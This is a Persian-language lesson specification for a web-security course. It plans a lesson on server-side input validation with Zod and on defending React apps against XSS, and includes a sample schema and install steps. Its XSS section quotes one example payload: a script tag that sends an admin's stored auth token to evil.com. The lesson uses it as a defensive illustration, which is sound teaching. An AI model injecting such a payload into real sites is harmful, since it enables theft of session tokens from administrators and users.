# مشخصات درس‌نامه: اعتبارسنجی همه‌جانبه ورودی‌ها با Zod و مقابله با حملات XSS
- **شناسه در سیلابس:** `L11.5`
- **فصل:** فصل ۱۱: امنیت و استفاده مسئولانه (Ch 11)
- **نوع محتوا:** 📘 درس‌نامه متنی
- **زمان تقریبی مطالعه:** ۱۸ دقیقه
- **پیش‌نیازهای مستقیم:** `L11.4` (احراز هویت و کنترل دسترسی)

---

## ۱. اهداف یادگیری (Learning Objectives - Bloom's Taxonomy)
دانشجو پس از مطالعهٔ این درس‌نامه باید بتواند:
- [ ] **درک کند (Understand):** قانون طلایی امنیت «هرگز به ورودی‌های کاربر اعتماد نکن» (Never Trust User Input) را تحلیل کرده و چرایی ناکافی بودن اعتبارسنجی سمت کاربر را درک کند.
- [ ] **تحلیل/ارزیابی کند (Evaluate):** نحوه عملکرد حملات تزریق اسکریپت (Cross-Site Scripting - XSS) و تفاوت فرار خودکار کاراکترها در React را با خطرات ویژگی مرگبار `dangerouslySetInnerHTML` ارزیابی کند.
- [ ] **به‌کار ببندد (Apply):** کتابخانه استاندارد **Zod** را برای اعتبارسنجی ساختارمند فرم‌های پورتفولیو (فرم تماس، فرم رزرو مشاوره و فرم تنظیمات سئو) در لایه سرور پیاده‌سازی نماید.
- [ ] **ایجاد کند (Create):** یک اسکیمای جامع Zod بسازد که خطاهای ورودی را به زبان فارسی روان استخراج کرده و به کلاینت بازگرداند تا هم تجربه کاربری عالی و هم امنیت تضمین شود.

---

## ۲. محدوده و مرزهای محتوا (Scope & Boundaries)

### آنچه باید پوشش داده شود (In-Scope):
1. **قانون بنیادین امنیت وب: «تمام کاربران مشکوک هستند مگر خلافش ثابت شود!»:**
   * چرا حتی یک فرم ساده تماس می‌تواند با ورودی‌های چند مگابایتی یا کدهای جاوااسکریپت مخرب، سیستم را فلج کند؟
2. **کالبدشکافی اعتبارسنجی دوگانه (Dual-layer Validation):**
   * اعتبارسنجی فرانت‌اند: صرفاً برای تجربه کاربری نرم (UX) و جلوگیری از کلیک‌های بیهوده.
   * اعتبارسنجی بک‌اند (سرور اکشن): سد نفوذناپذیر واقعی؛ چون هر کسی می‌تواند بدون باز کردن سایت، با دستور cURL دیتا بفرستد.
3. **معرفی کتابخانه مقتدر Zod در TypeScript:**
   * تعریف اسکیما (Schema) برای فرم تماس:
     ```typescript
     import { z } from "zod";
     export const ContactSchema = z.object({
       name: z.string().min(2, "نام باید حداقل ۲ حرف باشد").max(50),
       email: z.string().email("فرمت ایمیل نامعتبر است"),
       phone: z.string().regex(/^09\d{9}$/, "شماره موبایل باید با ۰۹ شروع شده و ۱۱ رقم باشد"),
       message: z.string().min(10, "پیام باید حداقل ۱۰ کاراکتر باشد").max(1000),
     });
     ```
   * استفاده از `safeParse()` در Server Action برای مدیریت تمیز خطاها بدون کرش کردن سرور.
4. **کالبدشکافی حملات XSS (Cross-Site Scripting):**
   * حمله چیست؟ نفوذگر در فیلد پیام می‌نویسد: `<script>fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))</script>`.
   * اگر این پیام در پنل ادمین بدون ضدعفونی رندر شود، توکن ادمین در یک میلی‌ثانیه سرقت می‌شود!
5. **سپر دفاعی React در برابر XSS:**
   * چگونه React به صورت خودکار کاراکترهای خطرناک مانند `<` و `>` را به کاراکترهای بی‌خطر متنی (Entity Escaping) تبدیل می‌کند.
   * چرا ویژگی `dangerouslySetInnerHTML` نام «خطرناک» را یدک می‌کشد و چه زمانی باید از `DOMPurify` استفاده کرد.
6. **دستورات چندسکویی برای نصب Zod:**
   * نصب در منوهای کشویی ویندوز، مک و لینوکس: `npm install zod`.
7. **کال‌اوت‌های آموزشی و هشدار کوئرا:**
   * کال‌اوت بنفش (`<details class="violet">`): استخراج خودکار تایپ‌های تایپ‌اسکریپت از اسکیما با `z.infer<typeof Schema>` (همگام‌سازی ابدی کد و اعتبارسنجی).
   * کال‌اوت سبز (`<details class="green">`): اعتبارسنجی یکپارچه با نمایش پیام‌های خطای فارسی درست زیر فیلدها.
   * کال‌اوت قرمز (`<details class="red">`): هرگز متنی را که کاربر فرستاده مستقیماً داخل تابع `eval()` یا ویژگی `dangerouslySetInnerHTML` قرار ندهید.

### آنچه نباید وارد آن شویم (Out-of-Scope):
- مباحث پیچیده Content Security Policy (CSP) در لایه وب‌سرورهای Nginx.
- اعتبارسنجی فرمت فایل‌های باینری و تصاویر (در درس بعدی، ۱۱.۶، به صورت عمیق بررسی می‌شود).

---

## ۳. مفاهیم کلیدی و کلمات تخصصی (Key Concepts & Terms)

| اصطلاح انگلیسی | معادل فارسی مصوب | توضیح یک‌خطی ساده |
| :--- | :--- | :--- |
| Input Validation | اعتبارسنجی ورودی‌ها | سنجش انطباق داده‌های ارسالی کاربر با فرمت، طول و قوانین امنیتی از پیش تعیین‌شده |
| XSS (Cross-Site Scripting) | اسکریپت‌نویسی بین‌سایتی | حمله سایبری ناشی از تزریق کدهای جاوااسکریپت خرابکار به صفحات و اجرای آن در مرورگر سایر کاربران |
| Zod | کتابخانه اسکیمای زد | ابزار محبوب ساخت و اعتبارسنجی تایپ‌سیف اسکیمای داده‌ها در محیط تایپ‌اسکریپت |
| Sanitization | ضدعفونی داده‌ها | پاک‌سازی تگ‌ها و کاراکترهای بالقوه خطرناک از متن ورودی پیش از ذخیره در دیتابیس |
| Character Escaping | فرار کاراکترها | تبدیل خودکار نمادهای معنادار HTML (مانند < و >) به کدهای نمایشی متنی برای خنثی‌سازی اسکریپت‌ها |
| Stored XSS | اسکریپت‌نویسی ماندگار | خطرناک‌ترین نوع XSS که در آن کد مخرب در دیتابیس ذخیره شده و برای تمام بازدیدکنندگان بعدی اجرا می‌شود |

---

## ۴. جایگاه‌های تصاویر و نمودارها (Visual & Diagram Placeholders)
> **راهنمای ایجنت نویسنده:** تمام تصاویر باید در پوشهٔ `images/` ذخیره شده و در جدول تک‌خانه‌ای وسط‌چین درج شوند:

1. **تصویر کاور درس:** `images/cover.png`
   * **موضوع:** فیلتر تصفیه نئونی درخشان که ورودی‌های فرم را اسکن کرده و نمادهای اسکریپت و بدافزار قرمز را به کلمات سبز و ایمن تبدیل می‌کند.
2. **سازوکار حمله Stored XSS در پنل ادمین:** `images/stored-xss-attack-flow.png`
   * **موضوع:** اینفوگرافیک حمله: نفوذگر کد جاوااسکریپت تزریق می‌کند $\rightarrow$ در دیتابیس ذخیره می‌شود $\rightarrow$ ادمین پیام را باز می‌کند $\rightarrow$ اسکریپت در مرورگر ادمین اجرا شده و کوکی را سرقت می‌کند.
3. **معماری اعتبارسنجی لایه سرور با Zod:** `images/zod-validation-flow.png`
   * **موضوع:** فلوچارت: دریافت دیتا $\rightarrow$ ارزیابی با اسکیما $\rightarrow$ در صورت خطا: بازگشت پیام فارسی $\rightarrow$ در صورت تایید: اجرای اکشن و ذخیره امن.
4. **نمایش پیام‌های خطای اعتبارسنجی فارسی در فرم:** `images/persian-zod-error-feedback-ui.png`
   * **موضوع:** اسکرین‌شات از فرم تماس با حاشیه‌های قرمز زیبا و هشدارهای دقیق فارسی زیر هر اینپوت.

---

## ۵. بخش‌بندی و ساختار محتوایی پیشنهادی درس‌نامه (`README.md`)

1. **تیتر اصلی:** `# اعتبارسنجی همه‌جانبه ورودی‌ها با Zod و مقابله با حملات XSS`
2. **مقدمه:** اگر به آب لوله‌کشی شهر بدون تصفیه‌خانه اعتماد ندارید، چرا باید به ورودی‌های کیبورد غریبه‌ها در اینترنت اعتماد کنید؟
3. **جدول کاور درس**
4. **استعاره گیت بازرسی فرودگاه:**
   * بازرسی اشعه ایکس چمدان‌ها قبل از ورود به هواپیما؛ حذف سلاح‌ها و مواد اشتعال‌زا (کدهای مخرب).
5. **کالبدشکافی یک حمله واقعی XSS در پروژه پورتفولیو:**
   * نوشتن تگ `<script>` در پیام کارفرما و سناریوی سرقت توکن احراز هویت ادمین.
6. **سلاح شماره یک: اعتبارسنجی تایپ‌سیف با Zod:**
   * ساخت فایل `lib/validations.ts`.
   * تعریف اسکیمای فرم تماس، رزرو و تنظیمات سئو.
7. **پیاده‌سازی در Server Action با تابع `safeParse`:**
   * کد نمونه تمیز و تفکیک‌شده برای بررسی داده‌ها پیش از ارسال به Supabase یا کاوه‌نگار.
8. **جعبه پرامپت طلایی: امن‌سازی تمام فرم‌ها با Zod توسط ایجنت:**
   * پرامپت دقیق:
     > «من کتابخانه Zod را نصب کرده‌ام. لطفاً برای تمام فرم‌های پروژه من (فرم تماس، رزرو مشاوره و ویرایش پروژه در ادمین) اسکیمای اعتبارسنجی دقیق بنویس. فیلدهای متن باید حداقل و حداکثر طول داشته باشند، شماره موبایل با رجکس بررسی شود و خطاهای نامعتبر بودن به زبان فارسی روان برگردانده شوند. سپس این اسکیما را در Server Action مربوطه اعمال کن.»
9. **دستورات چندسکویی نصب Zod:**
   * منوی کشویی سه‌گانه برای ویندوز، مک و لینوکس:
     - Windows (PowerShell):
       ```powershell
       npm install zod
       ```
     - macOS (Terminal):
       ```bash
       npm install zod
       ```
     - Linux (Bash):
       ```bash
       npm install zod
       ```
10. **باکس نکته Quera (`<details class="violet">`):** جادوی `z.infer`؛ چگونه یک بار نوشتن اسکیما، تایپ‌های تایپ‌اسکریپت را همزمان در سرتاسر پروژه تضمین می‌کند.
11. **باکس هشدار Quera (`<details class="red">`):** استفاده از `dangerouslySetInnerHTML` در فریم‌ورک‌های مدرن باید به موارد فوق‌العاده نادر محدود شده و حتماً با پکیج `DOMPurify` خنثی شود.
12. **باکس رضایت‌بخش Quera (`<details class="green">`):** وارد کردن کدهای عجیب و غریب در فرم و دیدن آرامش‌بخش پیام خطای قرمز فارسی و متوقف شدن حمله در پشت دروازه Zod.
13. **جمع‌بندی درس‌نامه:** مجهز شدن به سیستم دفاعی اسکیمای ورودی؛ ورود به مبحث حساس امنیت دیتابیس و اعتبارسنجی آپلود فایل‌ها در درس بعدی.

---

## ۶. معیارهای پذیرش (Acceptance Criteria for Reviewer)
- [ ] چرایی اعتبارسنجی سمت سرور و خطرات عدم اعتبارسنجی تبیین شود.
- [ ] مکانیزم حمله XSS و تفاوت فرار خودکار React با ویژگی‌های خطرناک تشریح گردد.
- [ ] نحوه استفاده کاربردی از کتابخانه Zod به همراه اسکیمای فرم تماس و پیام‌های خطای فارسی ارائه شود.
- [ ] دستورات نصب پکیج در تب‌های چندسکویی ویندوز، مک و لینوکس درج شده باشد.